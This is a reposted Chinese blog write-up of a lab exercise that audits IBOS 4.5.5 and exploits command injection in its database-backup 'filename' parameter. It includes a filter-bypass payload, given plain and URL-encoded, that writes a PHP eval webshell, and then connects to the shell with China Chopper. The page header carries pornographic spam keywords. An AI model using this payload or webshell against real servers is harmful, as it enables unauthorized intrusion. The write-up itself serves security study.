日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > windows >内容正文

windows

[zkaq靶场]命令执行--IBOS协同办公系统通杀漏洞

發(fā)布時間:2023/12/18 windows 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [zkaq靶场]命令执行--IBOS协同办公系统通杀漏洞 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

命令執(zhí)行

命令執(zhí)行相關函數

  • system()

能夠將字符串作為OS命令執(zhí)行,自帶輸出功能。

  • exec()

將字符串作為OS命令執(zhí)行,需要輸出

  • shell_exec()

將字符串作為OS命令執(zhí)行,需要輸出

  • passthru()

能夠將字符串作為OS命令執(zhí)行,自帶輸出

  • popen()

將字符串作為OS命令執(zhí)行,但是該函數返回一個文件指針。

  • 反引號``

反引號內的字符串也會被解析成OS命令。

靶場

本地測試

本期主角:ibos(一款協(xié)同辦公系統(tǒng))

版本:4.5.5

安裝:

安裝完成之后:長得跟phpstudy“有點像”,就是在PHP study的基礎上加了一套cms。

后臺:

審計

對該系統(tǒng)的源碼進行審計。

發(fā)現其對重要代碼進行了加密:

上傳到在線解密網站看看使用的加密方法:

加密方式: zend|53。

知道了加密方式之后就可以對其進行解密。

Zend Guard是目前市面上最成熟的PHP源碼加密產品,只要PHP加載了這個第三方加密插件,那么就可以直接運行加密后的源碼。

這類加密會在開頭寫Zend.

解密之后的代碼是不能直接替代原本文件運行的,所以解密后的代碼僅僅是靜態(tài)審計

解密之后全局搜索命令執(zhí)行的函數,找到一處可疑的地方。

具體代碼是這一塊:

$config = @include (PATH_ROOT . "./system/config/config.php");if (empty($config)) {throw new Exception(application\core\utils\Ibos::Lang("Config not found", "error")); } else {$db = $config["db"]; } $query = $command->setText("SHOW VARIABLES LIKE 'basedir'")->queryRow(); $mysqlBase = $query["Value"]; $mysqlBin = ($mysqlBase == "/" ? "" : addslashes($mysqlBase) . "bin/"); shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);

shell_exec()函數:

shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);

我們需要找到我們可以控制的變量。

分析:

$mysqlBin是從數據庫中查詢出來的值;

$db經過追蹤是從config.php文件中取得的關于數據庫配置的值。

這兩個變量都不是我們可以控制的。

那么還剩下一個$file是干什么的呢?

追蹤restore方法沒有找到一下成果

$file暫時在這里失去了線索。

但是,我們在全局搜索shell_exec()函數時出現了兩次調用。

我們可以看看另一個文件里的shell_exec()函數。

shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" \"{$db["dbname"]}\" $tablesstr > $dumpFile");

這里出現了mysqldump,這是一個MySQL自帶的備份工具。

命令格式
mysqldump [選項] 數據庫名 [表名] > 腳本名

mysqldump [選項] --數據庫名 [選項 表名] > 腳本名

mysqldump [選項] --all-databases [選項] > 腳本名

我們猜測這里可能后臺提供的一個數據庫備份功能。

后臺是真的存在數據庫備份功能的。

最后一個參數$dumpFile就是腳本名,就是最后導出的文件名。

我們可以控制的變量也就是它。

追溯一下它的來源:

  • $dumpFile = core\utils\addslashes(core\utils\PATH_ROOT) . “/” . $backupFileName . “.sql”;

  • $backupFileName = self::BACKUP_DIR . “/” . core\utils\str_replace(array("/", “\”, “.”, “’”), “”, $fileName);

  • $fileName = core\utils\Env::getRequest(“filename”);

  • 最后可以判斷,$dumpFile跟getRequest(“filename”)是有關的。

    也就是說是跟請求里的參數有關的。

    我們可以嘗試抓個包試試看有沒有filename參數:
    在后臺備份數據庫這里抓包:

    請求包里是可以看到filename參數的。

    同時在服務器上生成了一個sql備份文件:

    這里我們就可以思考開始利用shell_exec()在服務器上生成php文件了。

    shell_exec()執(zhí)行的是系統(tǒng)命令,可以利用管道符進行多條命令執(zhí)行。

    令filename參數等于:

    111&echo "<?php eval($_REQUEST[8])?>" >777.php&111

    &管道符不管前面執(zhí)行的成不成功,都會執(zhí)行&后面的。

    那么

    shell_exec("前面是備份的語句:mysqldump ------------ > 111 & echo "<?php eval(REQUEST[8])?>" > 777.php")&111

    但是前面$backupFileName中把filename中的/ \ .替換為空了。

    這里需要使用一個騷方法:切割環(huán)境變量來獲取點。

    set:查看環(huán)境變量

    取PATHEXT變量里的值,從第0個位置開始,取1個值。結果就是點.

    那么我們就可以這樣寫:

    111&echo "<?php eval($_REQUEST[8])?>" > 777%PATHEXT:~0,1%php&111

    也就是最終的payload。

    原數據包中是通過POST傳參的,POST傳參中&符號是連接多個參數,這里出現&符號是不行的。

    我們把payload進行一次url編碼:
    111%26echo %22%3C%3Fphp eval(%24_REQUEST%5B8%5D)%3F%3E%22 %3E 777%25PATHEXT%3A%7E0%2C1%25php%26111

    成功寫入文件:

    正常情況下POST中不接受url編碼,但是可以接受url編碼的POST傳參也不在少數。如果這里不接受url編碼,我們可以在POST請求中刪除filename參數,然后將filename參數寫到url中。

    本地測試成功。

    靶場:

    這是將filename參數寫到了url中。

    連接菜刀:

    拿到flag。Security的值。

    總結

    以上是生活随笔為你收集整理的[zkaq靶场]命令执行--IBOS协同办公系统通杀漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。